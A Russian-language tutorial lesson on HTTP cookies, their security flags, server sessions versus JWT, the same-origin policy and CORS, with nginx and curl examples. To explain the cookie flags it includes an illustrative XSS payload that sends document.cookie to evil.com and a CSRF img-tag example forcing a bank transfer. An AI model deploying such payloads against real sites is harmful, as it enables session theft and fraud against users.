Learning Platform
Глоссарий Troubleshooting
Урок 11.02 · 25 мин
Начальный
HTTPCookiesSessionsCORSAuthentication

Cookies, sessions, CORS — иллюзия состояния поверх stateless HTTP

HTTP — stateless: каждый запрос полностью независим, сервер ничего не помнит между запросами. Но в реальной жизни вы можете залогиниться на сайте один раз и потом часами кликать по нему — сайт «помнит» вас. Это противоречие? Нет. Это иллюзия, аккуратно построенная на двух механизмах: cookies (со стороны клиента) и sessions (со стороны сервера).

В этом уроке разберём, как именно работает аутентификация в HTTP, что такое cookie, какие у неё флаги безопасности и зачем они, почему браузер блокирует AJAX-запросы между доменами и как CORS это контролирует.

Для junior data engineer это важно не только потому, что вы будете ходить в чужие API (где надо разобраться, как они хранят сессию), но и потому, что часто вам придётся настраивать nginx, разбираться в логах безопасности или диагностировать «почему мой fetch из браузера не работает, а из curl работает».


Statelessness — ограничение и фича одновременно

Напомню: каждый HTTP-запрос самодостаточен. Сервер обрабатывает его, отвечает, и забывает. Это не баг, а сознательное архитектурное решение. Польза:

  1. Horizontal scaling. Любой запрос можно отправить на любой из 1000 серверов в кластере — они все равноправны и одинаково обработают запрос.
  2. Простота отказоустойчивости. Сервер упал — запрос перенаправили на другой, ничего не потеряли.
  3. Простота кэширования. Прокси и CDN могут кэшировать ответы, потому что запрос самодостаточен.

Минус: каждый запрос должен нести всю информацию для своей обработки, в том числе «кто этот клиент». Так появились cookies и токены.


Cookies: как клиент носит за собой identity

Cookie — это пара имя/значение, которую сервер просит клиента хранить и присылать обратно на каждом следующем запросе.

Жизненный цикл cookie
1. КлиентБраузер шлёт первый запрос без cookies (или с теми, что уже сохранены раньше)
2. СерверСервер обрабатывает запрос (логин, например). Решает выдать cookie -- session_id. Шлёт его в заголовке Set-Cookie
3. Клиент сохраняетБраузер парсит Set-Cookie, сохраняет в cookie jar -- привязанной к домену и пути
4. Следующий запросКлиент шлёт на тот же домен новый запрос. Браузер автоматически добавляет заголовок Cookie со всеми подходящими cookies
5. СерверВидит Cookie: session_id=xyz. Идёт в Redis/БД, проверяет, что сессия валидна. Знает, кто залогинен

В виде HTTP-обмена:

# Шаг 1 -- запрос без cookie
GET /login HTTP/1.1
Host: example.com

# Шаг 2 -- сервер отвечает и устанавливает cookie
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

# Шаг 3 -- следующий запрос автоматически содержит cookie
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=abc123xyz

Заметьте: на втором запросе клиент сам подставил Cookie. Никакого хранения «сессии» на сервере в смысле «процесс сервера держит state в памяти» нет. Сервер при получении session_id лезет в Redis/PostgreSQL и проверяет: «есть такая сессия? кому принадлежит? не истекла?».


Когда сервер ставит cookie, он может добавить атрибуты. Большинство из них — про безопасность.

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Domain=.example.com; Max-Age=3600

Разбираем по флагу:

Cookie security flags
HttpOnlyJavaScript не может прочитать этот cookie через document.cookie. Защищает от XSS -- даже если атакующий внедрил JS, токен не утечёт
SecureCookie шлётся только по HTTPS. Если страница открыта по HTTP, браузер cookie не пришлёт -- предотвращает прослушку в WiFi
SameSiteКонтролирует cross-site отправку. Strict -- никогда не шлётся на cross-site. Lax -- шлётся на top-level navigation. None -- всегда (требует Secure)
PathCookie шлётся только на URL, начинающиеся с указанного пути. Path=/admin -- только админка увидит
DomainCookie доступен этому домену и поддоменам. Без Domain -- только точный host. Domain=.example.com -- доступен и api.example.com
Max-Age / ExpiresСрок жизни. Без него -- session cookie (исчезает при закрытии браузера). Max-Age в секундах, Expires в дате

Каждый флаг закрывает конкретный класс атак:

  • HttpOnly — закрывает XSS-кражу токена. Если атакующий внедрил <script>fetch('//evil.com', {body: document.cookie})</script>, то document.cookie не вернёт HttpOnly cookies. Токен не утечёт.
  • Secure — закрывает прослушку в открытом WiFi. Без флага cookie летит и по HTTP, и снифферится тривиально.
  • SameSite — закрывает CSRF (Cross-Site Request Forgery). Атакующий заставил вас зайти на свой сайт, тот сделал <img src="//bank.com/transfer?to=evil&amount=1000000">. Браузер без SameSite приложит ваш cookie — и банк сделает перевод. С SameSite=Lax cookie не пойдёт на cross-site embedded request.
DANGER

В 2026 году все three флага — HttpOnly, Secure, SameSite=Lax (или Strict) — де-факто обязательны для любых auth cookies. Браузеры (Chrome, Firefox) уже стандартно применяют SameSite=Lax, если не указан — но всё равно явно устанавливайте. Это первая вещь, которую смотрит security auditor в любом веб-приложении.


Sessions vs JWT: где хранится state на сервере

Cookie — это просто способ носить идентификатор. А что именно идентификатор — две распространённых архитектуры:

Серверные сессии (session-based auth)

Сервер генерирует случайный непредсказуемый session_id (например, 256-битный UUID). Сохраняет в Redis/БД как ключ -> данные пользователя:

session:abc123xyz -> {"user_id": 42, "username": "linus", "expires": 1716000000}

В cookie летит только session_id. Когда приходит запрос, сервер делает GET session:abc123xyz из Redis — и знает, кто это.

Плюсы: сервер контролирует state, может instantly инвалидировать сессию (logout, ban — просто DEL session:...). Минусы: требуется centralized store. Каждый запрос — лишний поход в Redis (правда быстрый — <1ms).

Stateless токены (JWT-based auth)

В cookie или в Authorization: Bearer <jwt> — JSON Web Token. Это JSON, закодированный в base64, с криптографической подписью сервера:

HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0Mn0.signaturehash...

Payload содержит данные (user_id, role, expires_at). Сервер при получении проверяет подпись (HMAC или RSA) — и доверяет содержимому, не ходя в БД.

Плюсы: сервер ничего не хранит. Можно скейлить горизонтально без shared store. Минусы: нельзя инвалидировать — токен валиден до expires_at. Если украли — проблема до истечения. Workaround — короткие expires + refresh token + список отозванных.

В реальности и то, и другое — легитимные подходы. Большие монолиты часто используют sessions (legacy + проще ставить flags), микросервисы — JWT (statelessness легче).


Same-origin policy: основа безопасности браузера

Браузер выполняет JavaScript из разных источников (сайтов). По умолчанию JS со страницы https://evil.com НЕ может читать данные с https://bank.com. Это называется same-origin policy — основа всей веб-безопасности.

Origin — это тройка: scheme + host + port. Все три должны совпадать:

Origin = scheme + host + port
https://app.example.comБазовый origin для примеров. Будем сравнивать с ним всё остальное
https://app.example.com/apiТот же origin: scheme, host, port совпадают. Path не считается. Same-origin = YES
http://app.example.comДругой scheme (http vs https). Same-origin: NO. Браузер заблокирует cross-origin запрос с https-страницы
https://api.example.comДругой host (api vs app). Same-origin: NO. Хотя оба -- example.com
https://app.example.com:8080Другой port (8080 vs 443). Same-origin: NO. Часто фейлит локальную разработку: localhost:3000 != localhost:8080

Когда JavaScript делает fetch('https://other-origin.com/data'), браузер делает запрос — но не отдаёт ответ JavaScript’у, если сервер не разрешил это явно через CORS.

Зачем такое ограничение? Простой сценарий атаки:

  1. Вы залогинены на bank.com (у вас в cookies session_id).
  2. Заходите на evil.com.
  3. JS со evil.com делает fetch('https://bank.com/api/balance').
  4. Браузер автоматически прикладывает ваши cookies bank.com к запросу.
  5. Bank.com отдаёт ваш баланс.
  6. Если бы JS evil.com мог это прочитать — ваш баланс утёк бы.

Same-origin policy на шаге 6 говорит: «запрос ушёл, ответ пришёл, но я не покажу его JavaScript из evil.com». Атака парализована.


CORS: как разрешить cross-origin официально

Бывает, что cross-origin — легитимный сценарий. Например, ваш SPA на app.example.com ходит в API api.example.com. Это разные origins — по умолчанию заблокировано. CORS (Cross-Origin Resource Sharing) — механизм, через который сервер явно разрешает определённым origins доступ.

CORS работает через специальные HTTP-заголовки на сервере. Браузер смотрит, разрешил ли сервер этот origin, и пускает/блокирует ответ к JS.

Простой случай: simple request

Для «безопасных» запросов (GET, HEAD, POST с form-encoded body, без custom headers) браузер просто отправляет запрос с заголовком Origin: https://app.example.com. Сервер отвечает заголовком Access-Control-Allow-Origin:

# Запрос от браузера (JS со страницы https://app.example.com)
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com

# Ответ сервера -- разрешает этот origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json

{"users": [...]}

Если сервер вернул Access-Control-Allow-Origin: https://app.example.com (или *) — браузер отдаёт ответ JS. Если не вернул — блокирует, JS получит ошибку (запрос-то выполнился, но ответ скрыт).

Preflight: для «опасных» запросов

Если запрос «небезопасный» (PUT, DELETE, PATCH, кастомный Content-Type типа application/json, кастомные заголовки) — браузер сначала шлёт preflight OPTIONS-запрос, спрашивая разрешения:

CORS preflight flow
JS делает PUTJavaScript: fetch('/api/users/42', {method: 'PUT', headers: {'Content-Type': 'application/json'}, body: ...})
Браузер шлёт OPTIONSПрежде чем реально PUT, браузер автоматически шлёт OPTIONS с Access-Control-Request-Method и Access-Control-Request-Headers
Сервер отвечаетAccess-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, Access-Control-Max-Age (сколько можно кэшировать preflight)
Если окЕсли сервер разрешил метод, origin и заголовки -- браузер шлёт реальный PUT-запрос
ОтветСервер обрабатывает PUT, возвращает ответ. JS получает данные

Полный preflight-обмен:

# 1. Preflight (автоматически, JS об этом не знает)
OPTIONS /api/users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

# 2. Сервер разрешает
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 600

# 3. Реальный запрос
PUT /api/users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer xxx

{"name": "new name"}

# 4. Реальный ответ
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com

{"id": 42, "name": "new name"}
WARNING

CORS не «защищает» сервер. Это защита БРАУЗЕРА для своих пользователей. Если вы видите в браузере ‘CORS error’ — сервер ВСЁ РАВНО получил запрос и обработал его. Просто браузер не дал JS прочитать ответ. Поэтому CORS не заменяет аутентификацию и rate limiting на сервере. И поэтому curl с любым origin спокойно дёргает любой API — curl не браузер.

Credentials в CORS

Особый случай: cross-origin запрос с cookies. По умолчанию fetch() НЕ шлёт cookies на cross-origin. Чтобы шёл — нужно credentials: 'include' в JS и ОТДЕЛЬНО Access-Control-Allow-Credentials: true на сервере. Плюс Access-Control-Allow-Origin: * запрещён в этом режиме — нужен явный origin.


Реальный сценарий: запутался с CORS

Один из самых частых багов в работе junior-разработчика — «у меня curl работает, а fetch из браузера нет». Разберём:

# curl с любой машины -- работает
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d '{"name": "test"}'
# 200 OK

Но в браузере:

// React-приложение на app.example.com
const response = await fetch('https://api.example.com/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: 'test'})
});
// Error: CORS preflight failed

Диагноз: API не возвращает CORS-заголовки. curl это не волнует — браузер блокирует.

Решение — на стороне сервера (nginx, например):

location /api/ {
    if ($request_method = OPTIONS) {
        add_header Access-Control-Allow-Origin "https://app.example.com" always;
        add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
        add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
        add_header Access-Control-Max-Age 600 always;
        return 204;
    }
    add_header Access-Control-Allow-Origin "https://app.example.com" always;
    proxy_pass http://backend;
}

Попробуй сам

Поэкспериментируйте с cookies и CORS через httpbin:

# 1. Установить cookie через сервер
curl -v -c cookies.txt https://httpbin.org/cookies/set/session_id/abc123 2>&1 | grep -i 'set-cookie\|cookie'

# 2. Посмотреть сохранённые cookies
cat cookies.txt

# 3. Использовать их в следующем запросе
curl -v -b cookies.txt https://httpbin.org/cookies 2>&1 | tail -30
# Видим: сервер увидел наш session_id в Cookie header

# 4. Посмотреть на CORS preflight в браузере
# Откройте Chrome DevTools (F12) -> Network tab
# Зайдите на любой сайт (например, github.com)
# Найдите запрос с типом OPTIONS -- это preflight
# Посмотрите его Request Headers (Origin, Access-Control-Request-Method)
# Посмотрите Response Headers (Access-Control-Allow-Origin, Allow-Methods)

# 5. Попробовать CORS-эхо через httpbin
curl -v -H "Origin: https://example.com" https://httpbin.org/get 2>&1 | grep -i 'access-control\|origin'

# 6. Сравнить запрос без cookie и с cookie
curl -v https://github.com 2>&1 | grep -i cookie | head -5
# Если у вас залогинен GitHub в браузере, его cookies в curl нет --
# curl не знает о вашем браузере, у него своя cookie jar

Также интересный эксперимент: посмотреть в DevTools браузера на cookies любого сайта.

  1. Chrome -> F12 -> Application tab -> Storage -> Cookies
  2. Откройте любой сайт, на котором вы залогинены (gmail.com, github.com)
  3. Посмотрите на cookies: их обычно много, с разными флагами
  4. Auth-cookies должны быть HttpOnly + Secure + SameSite

Что вы должны вынести

  1. HTTP stateless, но кажется stateful благодаря cookies + session-store на сервере (Redis/БД).
  2. Cookie — это просто заголовок. Сервер шлёт Set-Cookie, клиент шлёт обратно Cookie.
  3. Флаги HttpOnly, Secure, SameSite — обязательны для auth cookies. Каждый закрывает свой класс атак.
  4. Two патерна аутентификации: server-side sessions (state в Redis) и stateless JWT (state в подписанном токене).
  5. Same-origin policy — основа браузерной безопасности. Origin = scheme + host + port.
  6. CORS — механизм разрешения cross-origin запросов. Защищает БРАУЗЕР, не сервер.
  7. CORS-ошибка не блокирует запрос на сервере — запрос пришёл и обработался. Браузер просто не отдал ответ JS.

Sessions vs JWT: архитектурные trade-offs на уровне API-дизайна
Проверка знанийKnowledge check
React-разработчик жалуется: 'мой fetch из браузера к api.example.com не работает -- CORS error. Но в curl всё работает!'. Что вы ответите про природу проблемы и где её чинить? Опишите минимум три варианта решения с trade-offs.
ОтветAnswer
Природа проблемы: CORS -- это политика БРАУЗЕРА, а не сервера. Запрос реально летит на api.example.com, сервер его обрабатывает, возвращает ответ. Браузер видит, что ответ пришёл с другого origin, и проверяет: есть ли Access-Control-Allow-Origin? Если нет (или origin не разрешён) -- браузер блокирует доступ JavaScript к ответу. curl не браузер, ему политика безразлична -- он отдаёт ответ как есть. Поэтому проблема ВСЕГДА на сервере (или в инфраструктуре), а решение -- добавить CORS-заголовки в ответ. Три подхода: (1) Серверный код добавляет CORS-заголовки. Самое чистое решение: на бэкенде (Flask/FastAPI/Express/...) использовать CORS-middleware. Plus: контроль точный, можно whitelist по origin. Minus: бэкенд каждый раз шлёт лишние заголовки. (2) Reverse proxy добавляет CORS-заголовки. На уровне nginx/Caddy/Traefik. Plus: бэкенд не знает про CORS, не дублируется код. Minus: если разные пути требуют разной CORS-политики -- конфиг сложнее. (3) Same-origin через proxy путей. Перенести api на тот же origin что фронтенд -- например, /api -> proxy на api.example.com. Тогда из JS просто fetch('/api/...') -- same-origin. Plus: CORS вообще не нужен. Minus: лишний прокси-хоп, нужна инфра для маршрутизации. В большинстве монолитных приложений (1) или (3). В микросервисах -- обычно (2) на API gateway. Никогда не используйте Access-Control-Allow-Origin: * в production для авторизованных endpoint'ов -- это разрешает любому сайту дёргать ваш API от имени пользователя.

Проверьте понимание

Результат: 0 из 0
Аналитический
Вопрос 1 из 6. В чём принципиальная разница между server-side sessions и stateless JWT-токенами с точки зрения возможности отозвать аутентификацию?

Закончили урок?

Отметьте его как пройденный, чтобы отслеживать свой прогресс

Войдите чтобы оценить урок

Прогресс модуля
0 из 6